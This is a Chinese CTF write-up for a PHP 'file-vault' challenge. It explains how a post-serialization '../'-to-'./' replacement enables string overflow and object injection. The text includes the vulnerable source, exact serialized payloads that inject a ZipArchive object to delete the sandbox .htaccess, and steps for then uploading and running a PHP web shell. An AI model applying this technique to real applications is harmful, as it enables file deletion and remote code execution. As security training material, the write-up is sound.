本文来自“白帽子社区知识星球”
作者:末初
题目地址:
http://www.bmzclub.cn/challenges#file-vault
这是一道很好反序列化字符串溢出的题目,首先打开容器看到这是一个上传点
先进行目录扫描,发现存在vim的备份文件 index.php~
查看 index.php~ 得到源码如下
?php
error_reporting(0);
include('secret.php');
$sandbox_dir = 'sandbox/'.sha1($_SERVER['REMOTE_ADDR']);
global $sandbox_dir;
function myserialize($a, $secret) {
$b = str_replace("../","./", serialize($a));
return $b.hash_hmac('sha256', $b, $secret);
}
function myunserialize($a, $secret) {
if(substr($a, -64) === hash_hmac('sha256', substr($a, 0, -64), $secret)){
return unserialize(substr($a, 0, -64));
}
}
class UploadFile {
function upload($fakename, $content) {
global $sandbox_dir;
$info = pathinfo($fakename);
$ext = isset($info['extension']) ? ".".$info['extension'] : '.txt';
file_put_contents($sandbox_dir.'/'.sha1($content).$ext, $content);
$this->fakename = $fakename;
$this->realname = sha1($content).$ext;
}
function open($fakename, $realname) {
global $sandbox_dir;
$analysis = "$fakename is in folder $sandbox_dir/$realname.";
return $analysis;
}
}
if(!is_dir($sandbox_dir)) {
mkdir($sandbox_dir);
}
if(!is_file($sandbox_dir.'/.htaccess')) {
file_put_contents($sandbox_dir.'/.htaccess', "php_flag engine off");
}
if(!isset($_GET['action'])) {
$_GET['action'] = 'home';
}
if(!isset($_COOKIE['files'])) {
setcookie('files', myserialize([], $secret));
$_COOKIE['files'] = myserialize([], $secret);
}
switch($_GET['action']){
case 'home':
default:
$content = "<form method='post' action='index.php?action=upload'
enctype='multipart/form-data'><input type='file' name='file'><input
type='submit'/></form>";
$files = myunserialize($_COOKIE['files'], $secret);
if($files) {
$content .= "<ul>";
$i = 0;
foreach($files as $file) {
$content .= "<li><form method='POST' action='index.php?
action=changename&i=".$i."'><input type='text' name='newname'
value='".htmlspecialchars($file->fakename)."'><input type='submit'
value='Click to edit name'></form><a href='index.php?action=open&i=".$i."'
target='_blank'>Click to show locations</a></li>";
$i++;
}
$content .= "</ul>";
}
echo $content;
break;
case 'upload':
if($_SERVER['REQUEST_METHOD'] === "POST") {
if(isset($_FILES['file'])) {
$uploadfile = new UploadFile;
$uploadfile->upload($_FILES['file']['name'],
file_get_contents($_FILES['file']['tmp_name']));
$files = myunserialize($_COOKIE['files'], $secret);
$files[] = $uploadfile;
setcookie('files', myserialize($files, $secret));
header("Location: index.php?action=home");
exit;
}
}
break;
case 'changename':
if($_SERVER['REQUEST_METHOD'] === "POST") {
$files = myunserialize($_COOKIE['files'], $secret);
if(isset($files[$_GET['i']]) && isset($_POST['newname'])){
$files[$_GET['i']]->fakename = $_POST['newname'];
}
setcookie('files', myserialize($files, $secret));
}
header("Location: index.php?action=home");
exit;
case 'open':
$files = myunserialize($_COOKIE['files'], $secret);
if(isset($files[$_GET['i']])){
echo $files[$_GET['i']]->open($files[$_GET['i']]->fakename,
$files[$_GET['i']]->realname);
}
exit;
case 'reset':
setcookie('files', myserialize([], $secret));
$_COOKIE['files'] = myserialize([], $secret);
array_map('unlink', glob("$sandbox_dir/*"));
header("Location: index.php?action=home");
exit;
}
代码稍微比较多一点,我们一段一段来分析一下,先看第一段
$sandbox_dir = 'sandbox/'.sha1($_SERVER['REMOTE_ADDR']);
global $sandbox_dir;
function myserialize($a, $secret) {
$b = str_replace("../","./", serialize($a));
return $b.hash_hmac('sha256', $b, $secret);
}
function myunserialize($a, $secret) {
if(substr($a, -64) === hash_hmac('sha256', substr($a, 0, -64), $secret)){
return unserialize(substr($a, 0, -64));
}
}
$sanbox_dir 即将访问者的IP经过SHA1加密拼接在sanbox后构成单独的路径,例如:san box/4b84b15bff6ee5796152495a230e45e3d7e947d9 。myserialize() ,将传入的 $a 序列化,然后进行一个字符串的替换( 这里是形成反序列化字 符串溢出的关键点 )得到 $b ,最后返回 SHA256 有未知密钥( $secret )加密后的 $b 作为签 名,拼接上 $b 的结果。myunserialize() ,首先截取 $a 的后 64位 部分与 SHA256 加密后的截掉末尾 64位 的$a ,这里就是做一个签名验证,验证序列化字符串加密后是否还是 myserialize() 返回 的正确签名,防止攻击者私自修改序列化字符串。最终返回反序列化后得对象。
接着看这段代码
if(!is_dir($sandbox_dir)) {
mkdir($sandbox_dir);
}
if(!is_file($sandbox_dir.'/.htaccess')) {
file_put_contents($sandbox_dir.'/.htaccess', "php_flag engine off");
}
当 $sanbox_dir 路径不存在时,创建 $sanbox_dir 。检测在 $sanbox_dir 下是否存在 .hta ccess 文件,不存在的话在 $sandbox_dir 下创建 .htaccess ,并写入 php_flag engine o ff 。该配置作用是禁用当前目录下的PHP解析功能。
action 默认操作为 home ,检查是否设置 Cookie['files'] ,未设置的话设置 Cookie: files ,值为 myserialize($a, $secret) 的返回值, $a 的类型为数组。 $secert 一直都是未知的。
class UploadFile {
function upload($fakename, $content) {
global $sandbox_dir;
$info = pathinfo($fakename);
$ext = isset($info['extension']) ? ".".$info['extension'] : '.txt';
file_put_contents($sandbox_dir.'/'.sha1($content).$ext, $content);
$this->fakename = $fakename;
$this->realname = sha1($content).$ext;
}
function open($fakename, $realname) {
global $sandbox_dir;
$analysis = "$fakename is in folder $sandbox_dir/$realname.";
return $analysis;
}
}
UploadFile 类中存在 upload() 和 open() 两个方法,先看 UploadFile::upload() ,将上 传的文件写入 $sandbox_dir 下,存储名称为文件内容的 SHA1 加密后的字符,如无后缀即 默认 .txt 后缀。没有文件类型限制。$this->fakename 即上传文件的名称, $this->real name 是文件在服务器上存储的名称。UploadFile::open() 即返回指定的 fakename 以及 realname 的存储路径。
接着分析 action 传入不同值的操作
switch($_GET['action']){
case 'home':
default:
$content = "<form method='post' action='index.php?action=upload'
enctype='multipart/form-data'><input type='file' name='file'><input
type='submit'/></form>";
$files = myunserialize($_COOKIE['files'], $secret);
if($files) {
$content .= "<ul>";
$i = 0;
foreach($files as $file) {
$content .= "<li><form method='POST' action='index.php?
action=changename&i=".$i."'><input type='text' name='newname'
value='".htmlspecialchars($file->fakename)."'><input type='submit'
value='Click to edit name'></form><a href='index.php?action=open&i=".$i."'
target='_blank'>Click to show locations</a></li>";
$i++;
}
$content .= "</ul>";
}
echo $content;
break;
case 'upload':
if($_SERVER['REQUEST_METHOD'] === "POST") {
if(isset($_FILES['file'])) {
$uploadfile = new UploadFile;
$uploadfile->upload($_FILES['file']['name'],
file_get_contents($_FILES['file']['tmp_name']));
$files = myunserialize($_COOKIE['files'], $secret);
$files[] = $uploadfile;
setcookie('files', myserialize($files, $secret));
header("Location: index.php?action=home");
exit;
}
}
break;
case 'changename':
if($_SERVER['REQUEST_METHOD'] === "POST") {
$files = myunserialize($_COOKIE['files'], $secret);
if(isset($files[$_GET['i']]) && isset($_POST['newname'])){
$files[$_GET['i']]->fakename = $_POST['newname'];
}
setcookie('files', myserialize($files, $secret));
}
header("Location: index.php?action=home");
exit;
case 'open':
$files = myunserialize($_COOKIE['files'], $secret);
if(isset($files[$_GET['i']])){
echo $files[$_GET['i']]->open($files[$_GET['i']]->fakename,
$files[$_GET['i']]->realname);
}
exit;
case 'reset':
setcookie('files', myserialize([], $secret));
$_COOKIE['files'] = myserialize([], $secret);
array_map('unlink', glob("$sandbox_dir/*"));
header("Location: index.php?action=home");
exit;
}
?action=home :
默认执行,提供 ?action=upload 上传操作,反序列化Cookie中的 files 值,将数组的 每一个 UploadFile::fakename 取出来回显。提供 ?action=changename 以及 ?action=open 操作。上传一个展示一个。
?action=upload :
POST上传文件,实例化 UploadFile 类, $uploadfile 对象调用 UploadFile::upload () 方法,获取上传的文件名称以及内容传入 upload() 方法。反序列化验证当前Cookie 中的序列化字符串,并增加根据新上传文件创建新的对象增加到数组中,并序列化存储 Cookie中。
?action=changename :
反序列化Cookie的值获取整个数组的对象,传入参数 i 来指向数组中的具体某个对 象,然后传入 newname 重新赋值原来的 UploadFile::fakename 。然后重新序列化存入 Cookie。
?action=open :
反序列化Cookie的值获取整个数组的对象,传入参数 i 来指向数组中的具体某个对象,然后传入 UploadFile::fakename 和 UploadFile::realname 并执行 UploadFile::o pen() 操作。
?action=reset :
清空Cookie中数组的每个对象,并删除 $sandbox_dir 下的所有文件。
分析完所有的代码,虽然上传文件无限制,但是有 .htaccess 的限制,就算上传了shell也 是没有用的。漏洞利用的关键点在
function myserialize($a, $secret) {
$b = str_replace("../","./", serialize($a));
return $b.hash_hmac('sha256', $b, $secret);
}
这里对 序列化之后 的字符串进行了 str_replace() 替换字符操作,将序列化之后的字符串 中的 ../ 替换为了 ./ ,也就是说一个 ../ 被替换后会向后被吃掉的一个字符。反序列化 字符串溢出的原理这里就不详细介绍了,可自行查阅资料。
很明显我们对上传文件的能控制得只有上传文件的文件名,也就是 fakename ,并且肯定 不能直接修改 Cookie 的序列化字符串,有签名验证的。但是通过 ?action=changename 就 可以合法的控制 fakename 的值进行反序列化字符串溢出。
随便上传两个文件我们看下Cookie中存储的对象
a:2:{i:0;O:10:"UploadFile":2:
{s:8:"fakename";s:8:"pic1.jpg";s:8:"realname";s:44:"9f8abdb9a36c33ce3968ee8056
c2a27b8ec4dc6e.jpg";}i:1;O:10:"UploadFile":2:
{s:8:"fakename";s:8:"pic2.png";s:8:"realname";s:44:"a8e9d61b8735df4a808d677b37
14425850d4ee3f.png";}}ee685dd0e1596058c4f82035b24426f0193c3f9ec8780645070f3e43
d295f718
array(2) {
[0] =>
class __PHP_Incomplete_Class#1 (3) {
public $__PHP_Incomplete_Class_Name =>
string(10) "UploadFile"
public $fakename =>
string(8) "pic1.jpg"
public $realname =>
string(44) "9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg"
}
[1] =>
class __PHP_Incomplete_Class#2 (3) {
public $__PHP_Incomplete_Class_Name =>
string(10) "UploadFile"
public $fakename =>
string(8) "pic2.png"
public $realname =>
string(44) "a8e9d61b8735df4a808d677b3714425850d4ee3f.png"
}
}
构造反序列化溢出,我们可以上传两个文件之后,通过重命名第一个文件的 fakename , 可以吃掉第二个文件原来的对象。引入一个新的对象,不过前提是我们需要先精妙的在第 二个对象的 fakename 处,构造出一个完整的对象实现漏洞利用并且要承上启下,精妙的 构造好前后的序列化字符串。
整个源码就一个类,两个对象,分别是 UploadFile::upload() 、 UploadFile::open() , 而其中 open() 方法挺常见的,如果能找到一个含有 open() 方法的标准类( PHP内置已经定 义好的类 ),那么我们就可以利用这个类去利用其中同名方法 open() 的功能。
遍历下所有已定义好的类,看看哪些类中有 open() 方法
echo 'current PHP Version: '.phpversion()."n";
foreach (get_declared_classes() as $class) {
foreach (get_class_methods($class) as $method) {
if ($method == "open")
echo "$class->$methodn";
}
}
PS C:UsersAdministratorDownloads> php -f .class.php
current PHP Version: 7.4.3
SessionHandler->open
ZipArchive->open
XMLReader->open
其中 ZipArchive->open($fakename, $realname) 方法正好是两个参数
$filename 对应 $fakename ,把 .htaccess 的路径赋给 $filename ,而 $flag 如果设置 成 ZipArchive::OVERWRITE ,就可以将改文件覆盖,即删除。
open('./.htaccess',ZipArchive::OVERWRITE);
echo $rt;
$zip->close();
删除了同目录下的 .htaccess
这里 ZipArchive::OVERWRITE 还可以用 9 代替
接下来开始构造payload
任意上传两个文件后在cookie中取出反序列化字符串
a:2:{i:0;O:10:"UploadFile":2:
{s:8:"fakename";s:8:"pic1.jpg";s:8:"realname";s:44:"9f8abdb9a36c33ce3968ee8056
c2a27b8ec4dc6e.jpg";}i:1;O:10:"UploadFile":2:
{s:8:"fakename";s:8:"pic2.png";s:8:"realname";s:44:"a8e9d61b8735df4a808d677b37
14425850d4ee3f.png";}}ee685dd0e1596058c4f82035b24426f0193c3f9ec8780645070f3e43
d295f718
array(2) {
[0] =>
class __PHP_Incomplete_Class#1 (3) {
public $__PHP_Incomplete_Class_Name =>
string(10) "UploadFile"
public $fakename =>
string(8) "pic1.jpg"
public $realname =>
string(44) "9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg"
}
[1] =>
class __PHP_Incomplete_Class#2 (3) {
public $__PHP_Incomplete_Class_Name =>
string(10) "UploadFile"
public $fakename =>
string(8) "pic2.png"
public $realname =>
string(44) "a8e9d61b8735df4a808d677b3714425850d4ee3f.png"
}
}
任意查看一个上传的文件
得到 $sandbox_dir ,然后我们构造一个 ZipArchive 类
$zip = new ZipArchive();
$zip->fakename = "sandbox/c9c6b123d99376f90d9bc74e05decff72d5086d7/.htaccess";
$zip->realname = "9";
echo serialize($zip);
?>
O:10:"ZipArchive":7:
{s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:""
;s:7:"comment";s:0:"";s:8:"fakename";s:58:"sandbox/c9c6b123d99376f90d9bc74e05d
ecff72d5086d7/.htaccess";s:8:"realname";s:1:"9";}
首先构造第二个 UploadFile 对象的 fakename ,将 fakename 之后的序列化字符串取出 来,总共 67 个字符
";s:8:"realname";s:44:"a8e9d61b8735df4a808d677b3714425850d4ee3f.png
我们将 ZipArchive 的序列化字符串其中的对象位置顺序调整一下,将 ZipArchive::comme nt 的长度调整到 67
O:10:"ZipArchive":7:
{s:8:"fakename";s:58:"sandbox/c9c6b123d99376f90d9bc74e05decff72d5086d7/.htacce
ss";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles"
;i:0;s:8:"filename";s:0:"";s:7:"comment";s:67:"
这样就可以将第二个 fakename 之后的序列化字符串安置在 comment 中
然后需要将第一个 UploadFile 的对象的 realname 部分放在以上的payload前面
";s:8:"realname";s:6:"mochu7";}
值为什么无所谓,只是为了序列化的完整性,所以得到第二个 fakename 的payload最终 为:
";s:8:"realname";s:6:"mochu7";}i:1;O:10:"ZipArchive":7:
{s:8:"fakename";s:58:"sandbox/c9c6b123d99376f90d9bc74e05decff72d5086d7/.htacce
ss";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles"
;i:0;s:8:"filename";s:0:"";s:7:"comment";s:67:"
注意: 因为是数组的第二个值,注意需要加上 i:1;
接下来来分析下第一个 fakename 的payload该怎么构造,这是需要溢出吃掉的部分
";s:8:"realname";s:44:"9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg";}i:1;O:10
:"UploadFile":2:{s:8:"fakename";s:8:"
但是注意,因为我们是先重命名在数组中 i=1 的对象的 fakename ,所以当我们重命名完 之后数组中第二个对象的 fakename 之后,第一个对象的 fakename 长度要变为第一个 payload的字符长度
";s:8:"realname";s:44:"9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg";}i:1;O:10
:"UploadFile":2:{s:8:"fakename";s:258:"
以上才是需要溢出吃掉的字符串,长度为 117 ,所以我们需要 117 个 ../
../../../../../../../../../../../../../../../../../../../../../../../../../../
../../../../../../../../../../../../../../../../../../../../../../../../../../
../../../../../../../../../../../../../../../../../../../../../../../../../../
../../../../../../../../../../../../../../../../../../../../../../../../../../
../../../../../../../../../../../../../
最终,第二个对象需要重命名的 fakename
";s:8:"realname";s:6:"mochu7";}i:1;O:10:"ZipArchive":7:
{s:8:"fakename";s:58:"sandbox/c9c6b123d99376f90d9bc74e05decff72d5086d7/.htacce
ss";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles"
;i:0;s:8:"filename";s:0:"";s:7:"comment";s:67:"
第一个对象需要重命名的 fakename
../../../../../../../../../../../../../../../../../../../../../../../../../../
../../../../../../../../../../../../../../../../../../../../../../../../../../
../../../../../../../../../../../../../../../../../../../../../../../../../../
../../../../../../../../../../../../../../../../../../../../../../../../../../
../../../../../../../../../../../../../
这时候看Cookie的序列化值
array(2) {
[0] =>
class __PHP_Incomplete_Class#1 (3) {
public $__PHP_Incomplete_Class_Name =>
string(10) "UploadFile"
public $fakename =>
string(351)
"././././././././././././././././././././././././././././././././././././././.
/././././././././././././././././././././././././././././././././././././././.
/././././././././././././././././././././././././././././././././././././././.
/";s:8:"realname";s:44:"9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg";}i:1;O:1
0:"UploadFile":2:{s:8:"fakename";s:258:""
public $realname =>
string(6) "mochu7"
}
[1] =>
class ZipArchive#2 (7) {
public $status =>
int(0)
public $statusSys =>
int(0)
public $numFiles =>
int(0)
public $filename =>
string(0) ""
public $comment =>
string(0) ""
public $fakename =>
string(58) "sandbox/c9c6b123d99376f90d9bc74e05decff72d5086d7/.htaccess"
public $realname =>
string(1) "9"
}
}
成功注入了 ZipArchive 对象,然后调用 ZipArchive 对象
/index.php?action=open&i=1
这样就可以删除 sandbox/c9c6b123d99376f90d9bc74e05decff72d5086d7/.htaccess 了,回 到 index.php 上传 shell.php上传 shell.php 之后再执行一遍上面的删除操作(因为访问 index.php 会再次生成 .htaccess 文件,我们需要上传shell后再删除),然后访问shell
已经可以解析php文件了
如果觉得本文不错的话,欢迎加入知识星球,星球内部设立了多个技术版块,目前涵盖“WEB安全”、“内网渗透”、“CTF技术区”、“漏洞分析”、“工具分享”五大类,还可以与嘉宾大佬们接触,在线答疑、互相探讨。
▼扫码关注白帽子社区公众号&加入知识星球▼
原文始发于微信公众号(白帽子社区):从一道题看PHP反序列化字符串溢出
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论